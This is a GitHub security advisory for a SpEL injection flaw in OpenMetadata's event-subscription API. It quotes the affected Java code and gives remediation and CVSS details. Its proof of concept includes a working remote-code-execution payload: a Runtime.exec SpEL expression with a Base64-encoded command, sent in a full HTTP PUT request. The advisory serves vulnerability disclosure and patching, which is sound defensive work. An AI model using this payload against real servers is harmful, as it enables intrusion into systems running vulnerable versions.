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OpenMetadata vulnerable to a SpEL Injection in `PUT /api/v1/events/subscriptions` (`GHSL-2023-251`)

High severity GitHub Reviewed Published Mar 15, 2024 in open-metadata/OpenMetadata • Updated Apr 24, 2024

Package

maven org.open-metadata:openmetadata-service (Maven)

Affected versions

< 1.2.4

Patched versions

1.2.4

Description

SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.

  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():

@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353

{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

References

@tutte tutte published to open-metadata/OpenMetadata Mar 15, 2024
Published by the National Vulnerability Database Mar 15, 2024
Published to the GitHub Advisory Database Apr 24, 2024
Reviewed Apr 24, 2024
Last updated Apr 24, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.044%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-28847

GHSA ID

GHSA-8p5r-6mvv-2435

Credits

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